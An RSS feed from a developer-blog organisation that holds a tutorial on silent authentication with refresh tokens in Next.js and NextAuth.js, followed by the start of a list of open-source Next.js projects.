<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: datarockets</title>
    <description>The latest articles on Forem by datarockets (@datarockets).</description>
    <link>https://forem.com/datarockets</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F603%2F08cc0344-2bb8-47f5-b82b-580a577932a4.jpg</url>
      <title>Forem: datarockets</title>
      <link>https://forem.com/datarockets</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/datarockets"/>
    <language>en</language>
    <item>
      <title>Silent Authentication in Next.js</title>
      <dc:creator>Elvin</dc:creator>
      <pubDate>Thu, 23 Oct 2025 20:00:42 +0000</pubDate>
      <link>https://forem.com/datarockets/silent-authentication-in-nextjs-55kp</link>
      <guid>https://forem.com/datarockets/silent-authentication-in-nextjs-55kp</guid>
      <description>&lt;p&gt;Authentication is an essential part of almost any application and getting it right ensures the security, and improved user experience (UX). In Single Page Applications (SPA), the most common strategy is the JWT-based authentication. It is based on tokens that are used to either authorize actions (&lt;em&gt;access tokens&lt;/em&gt;), or allow reissuing new set of tokens (&lt;em&gt;refresh tokens&lt;/em&gt;).  How we store and use refresh tokens provides fertile ground for security- or UX-related issues. In this article, we discuss a strategy for storing and using refresh tokens in Next.js applications that minimizes security risks while providing the best user experience - Silent Authentication. First, we briefly describe a basic form of JWT authentication and an existing SPA built with Next.js and Ruby on Rails. Then, we introduce Silent Authentication and share how to implement it in your Next.js application. In conclusion, we share user feedback that we received after incorporating Silent Authentication into our production application.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
Introduction
&lt;/li&gt;
&lt;li&gt;
Basic JWT authentication
&lt;/li&gt;
&lt;li&gt;
Issue with access token expiration
&lt;/li&gt;
&lt;li&gt;
Silent Authentication
&lt;/li&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;li&gt;Further reading&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Authentication and authorization are backbone for every major application, and designing it is always a compromise between application's security and user convenience (&lt;em&gt;or user experience, UX&lt;/em&gt;). For example, tightening up the password policy to require very complex passwords will reduce the chances of brute-force attacks, but UX will worsen. Thus, it's important to balance them out, maximizing security while preserving UX.&lt;br&gt;&lt;br&gt;
There are a number of techniques and approaches when it comes to authentication, but in this article, we will focus on token-based strategies for Single Page Application (SPA). In particular, we will be working with Json Web Tokens (JWT), but the methods are applicable to other strategies as well if they match the specification implied in the article. The article assumes the basic understanding of JWT tokens, so if you need to refresh your memory, you may visit &lt;a href="https://www.jwt.io/introduction" rel="noopener noreferrer"&gt;JWT's documentation&lt;/a&gt;.  &lt;/p&gt;
&lt;h2&gt;
  
  
  Basic JWT authentication
&lt;/h2&gt;

&lt;p&gt;Assume that we have a Single Page Application with front-end in &lt;em&gt;Next.js&lt;/em&gt; and back-end in &lt;em&gt;Ruby on Rails&lt;/em&gt;. The authentication on the front-end is built using &lt;a href="https://next-auth.js.org/" rel="noopener noreferrer"&gt;&lt;em&gt;NextAuth.js&lt;/em&gt;&lt;/a&gt;. The system already supports a basic JWT authentication, i.e. back-end can issue an access token given credentials and can authorize an action when an access token is provided.&lt;br&gt;
In Next.js, the application consists of two parts that are run in different environments. The server-side (later, &lt;em&gt;server-side application&lt;/em&gt;) runs on the front-end server and its code and data are hidden from user. Another part is client-side (later, &lt;em&gt;client-side application&lt;/em&gt;) is run inside the browser. Thus, all code and data are inherently exposed to users.&lt;br&gt;
The authentication works as follows: the server-side application is responsible for obtaining and storing access tokens. So, when a user signs in, NextAuth.js sends a request to the back-end, obtains an access token, stores it, and provides it to the client-side application. The flow can be seen in the diagram below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnjmyss0hd0x958ah27et.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnjmyss0hd0x958ah27et.png" alt="Authentication Flow" width="800" height="541"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then, the client-side application obtains an access token from the server-side application (&lt;a href="https://next-auth.js.org/getting-started/client#usesession" rel="noopener noreferrer"&gt;using NextAuth session&lt;/a&gt;), and uses it when it makes requests to the back-end  application. This way, the access token is available for usage in the client-side, but access to it is controlled by the server-side code. The diagram below describes loading the application and performing an action:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc09viupawyben6ldolay.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc09viupawyben6ldolay.png" alt="Interaction within the application" width="800" height="541"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Issue with access token expiration
&lt;/h2&gt;

&lt;p&gt;Even though the described approach is quite secure, it has a major UX issue: access tokens expire, and they expire quite fast. It leads to interruptions in user experience, since the expiration might happen mid-action, and the user will be required to reauthenticate before continuing their action. To mitigate this, we need to introduce a mechanism for reauthenticating user without any interaction from their side - Silent Authentication. Silent Authentication should work "under the hood" to ensure that a user has a valid access token when they need it. &lt;br&gt;
The strategies for Silent Authentication can be categorized into two groups:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;refreshing an access token if it's close to being invalid;
&lt;/li&gt;
&lt;li&gt;using a separate token for issuing a new access token - refresh tokens.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The former solution is simpler to implement, but it has two major flaws: a short window for refreshing the token (making it useless for cases when a user pauses the interaction for some time), and increasing the importance of access tokens. Since access tokens are exposed to browsers, they can be accessed by a user and are susceptible to Man-In-The-Middle attacks. So, if an attacker obtains an access tokens and access tokens might be exchanged for new tokens, then they can keep using the system indefinitely by making sure that the access tokens never expire.&lt;/p&gt;

&lt;p&gt;The more robust and secure approach is introducing a separate token that will be used only for issuing new access tokens - refresh tokens. Refresh tokens are much more long lived (e.g., several months for refresh tokens vs several hours for access tokens), which allows users to avoid reauthentication even if they haven't visited the system for a long time. The implementation of reauthentication is error-prone, and measures should be taken to reduce the attack surface.&lt;/p&gt;

&lt;p&gt;There are several precautionary measures that can be taken to improve security:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;hiding refresh token from the user - as gaining refresh tokens provides a way to continuously generate access tokens, thus keeping access to the system on behalf of a user, we need to avoid exposing it;&lt;/li&gt;
&lt;li&gt;refresh token rotation - refresh tokens should be one-time use only, and using one refresh token should generate another one;&lt;/li&gt;
&lt;li&gt;guardrails for reusing refresh tokens - if a refresh token is trying to be reused, it might be a sign of a malicious actor reusing the refresh token. An optional precaution will be to invalidate refresh and access tokens for the user, forcing all actors on behalf of the said user to reauthenticate. &lt;em&gt;This should be used cautiously to avoid allowing an actor to continuously reuse an expired refresh token to force a user to authenticate.&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Silent Authentication
&lt;/h2&gt;

&lt;p&gt;In this article, we focus on implementing Silent Authentication using Next.js with a technology-agnostic back-end, and excluding the logic related to refresh tokens on the back-end.  For the back-end, we assume that all measures described in the previous section were implemented.&lt;/p&gt;

&lt;p&gt;Given that we have a system with basic JWT authentication and back-end that supports refresh tokens functionality, we want to introduce Silent Authentication. We have two areas to cover: storing refresh tokens and using refresh tokens. In our setup, storing refresh tokens is the easiest problem to solve - NextAuth.js encapsulates the authentication-related logic within the server-side application, allowing us to control what data the client-side application has access to that is controlled using &lt;a href="https://next-auth.js.org/configuration/callbacks" rel="noopener noreferrer"&gt;callbacks&lt;/a&gt;. Generally, callbacks contain logic for authentication, exposing session data (note: session within the front-end, not with the back-end ), and providing granular control on which data is exposed to the client. Thus, all we need to do is to store the refresh token on authentication (in &lt;code&gt;jwt&lt;/code&gt; callback) and avoid exposing it when the client application requests session information (in &lt;code&gt;session&lt;/code&gt; callback):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;authenticateUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="c1"&gt;// `authenticateUser` handles sign-in request to the backend, it returns an object with the following fields:  &lt;/span&gt;
    &lt;span class="c1"&gt;// - `token` - access token&lt;/span&gt;
    &lt;span class="c1"&gt;// - `refresh_token` - refresh token&lt;/span&gt;
    &lt;span class="c1"&gt;// - `expires_at` - access token expiration datetime  &lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;    
        &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;refreshToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;refresh_token&lt;/span&gt;    
        &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;expiresAt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;expires_at&lt;/span&gt;    
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;  
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// token consists of `token` as access token, and `expiresAt` as expiration datetime  &lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;    
      &lt;span class="c1"&gt;// Expiration datetime will be needed on the client to determine when to request reauthentication  &lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;expiresAt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
      &lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;expiresAt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;expiresAt&lt;/span&gt;  
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;// Avoid exposing refresh token via `session`  &lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;  
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt;  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As a result, we avoid exposing refresh tokens to the client-side application altogether while allowing the server-side application to perform reauthentication using refresh tokens.&lt;/p&gt;

&lt;p&gt;And the next step is to avoid having expired access tokens when the front-end needs it. There are two ways to achieve it:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;keep the access token always valid while the user uses the front-end;&lt;/li&gt;
&lt;li&gt;refresh the access token before the action if it's invalid.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We decided to go with the former approach as it is simpler to implement and helps with some concurrency-related issues (e.g., performing an action that requires several parallel requests). It comes with a cost of redundant token refreshes that will be relevant for when the user doesn't perform any actions for a long period.&lt;/p&gt;

&lt;p&gt;The implementation is pretty straightforward. In &lt;code&gt;jwt&lt;/code&gt; callback, reauthenticate if the access token is invalid:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;  
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;refreshToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;refreshToken&lt;/span&gt;  
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;expiresAt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;expiresAt&lt;/span&gt;  
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;expired&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;expiresAt&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;expiresAt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;  
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;expired&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;refreshToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
        &lt;span class="nx"&gt;credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;rotateTokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;refreshToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
    &lt;span class="p"&gt;}&lt;/span&gt;  
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way, every time the client requests the access token, it will be valid. And to keep the access token valid, we need to request it as soon as it expires - we can do it using a custom hook:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;useRefreshSession&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;update&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useSession&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  
    &lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;authenticated&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;expiresAt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;expiresAt&lt;/span&gt;  
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;expiresAt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// dayjs library is used for working with datetime        const timeLeft = dayjs(expiresAt).diff(dayjs())&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;timeLeft&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;timeout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nx"&gt;timeLeft&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;clearTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This hook should be called on the top level within the necessary &lt;a href="https://next-auth.js.org/getting-started/client#sessionprovider" rel="noopener noreferrer"&gt;&lt;code&gt;SessionProvider&lt;/code&gt;&lt;/a&gt; (e.g., in a top component declared in &lt;code&gt;_app.tsx&lt;/code&gt; ). &lt;/p&gt;

&lt;p&gt;As a result, we receive a system that is described in the diagram below:  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff6ofwbk0af15wbxmvsn9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff6ofwbk0af15wbxmvsn9.png" alt="Interaction within the application" width="800" height="541"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;After introducing Silent Authentication, we received a lot of positive feedback from satisfied users - users were happy that they don't have to reauthenticate constantly, especially when coming back to the system after a week or two. And, what's also very important, we managed to avoid big security risks by never transferring refresh tokens to the client. This is how we achieved a secure but convenient authentication mechanism in our system.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://auth0.com/docs/secure/application-credentials" rel="noopener noreferrer"&gt;Auth0 articles on authentication&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://auth0.com/docs/authenticate/protocols/oauth" rel="noopener noreferrer"&gt;OAuth protocol&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://next-auth.js.org/" rel="noopener noreferrer"&gt;NextAuth.js documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@iason.tzortzis/cookie-security-best-practices-d19800ad0b4b" rel="noopener noreferrer"&gt;Best practices on secure cookies&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://blog.dreamfactory.com/implementing-oauth-2.0-in-rest-apis-complete-guide" rel="noopener noreferrer"&gt;Example of building a system with JWT-based OAuth authentication&lt;/a&gt;; &lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>nextjs</category>
      <category>security</category>
      <category>react</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Real-world open-source projects built with Next.js 14 and App Router</title>
      <dc:creator>Alexey Ryabov</dc:creator>
      <pubDate>Fri, 28 Jun 2024 12:57:54 +0000</pubDate>
      <link>https://forem.com/datarockets/real-world-open-source-projects-built-with-nextjs-14-and-app-router-i1n</link>
      <guid>https://forem.com/datarockets/real-world-open-source-projects-built-with-nextjs-14-and-app-router-i1n</guid>
      <description>&lt;p&gt;Discover how others build real-world Next.js applications by examining their codebase.&lt;/p&gt;

&lt;p&gt;Learning from others' codebases can help you grow as a developer, gain inspiration for organizing your codebase, develop a certain feature, manage CI/CD, and much more. You can learn both best practices and some practices to avoid in real-world scenarios. You can find new technologies that might better solve certain cases.&lt;/p&gt;

&lt;p&gt;In this article, you will find a selection of open-source projects built using Next.js and App Router.&lt;/p&gt;




&lt;h2&gt;
  
  
  Unkey
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0dt3f6h0e8rvyyec2ne2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0dt3f6h0e8rvyyec2ne2.png" alt="Screenshot of Unkey"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/unkeyed/unkey" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://www.unkey.com/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unkey is an open-source API management platform for scaling APIs. Unkey provides API key management and standalone rate limiting.&lt;/p&gt;

&lt;p&gt;The repository is a monorepo managed via &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;. It contains several apps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/unkeyed/unkey/tree/main/apps/www" rel="noopener noreferrer"&gt;www&lt;/a&gt; - marketing website, landing page, blog, etc.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/unkeyed/unkey/tree/main/apps/dashboard" rel="noopener noreferrer"&gt;dashboard&lt;/a&gt; - main application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/unkeyed/unkey/tree/main/apps/docs" rel="noopener noreferrer"&gt;docs&lt;/a&gt; - documentation website&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://trpc.io/" rel="noopener noreferrer"&gt;tRPC&lt;/a&gt;, &lt;a href="https://planetscale.com/" rel="noopener noreferrer"&gt;Planetscale&lt;/a&gt;, &lt;a href="https://orm.drizzle.team/" rel="noopener noreferrer"&gt;Drizzle ORM&lt;/a&gt;, &lt;a href="https://clerk.com/" rel="noopener noreferrer"&gt;Clerk&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://resend.com/" rel="noopener noreferrer"&gt;Resend&lt;/a&gt;, &lt;a href="https://stripe.com/" rel="noopener noreferrer"&gt;Stripe&lt;/a&gt;, &lt;a href="https://mintlify.com/" rel="noopener noreferrer"&gt;Mintlify&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Cal.com
&lt;/h2&gt;

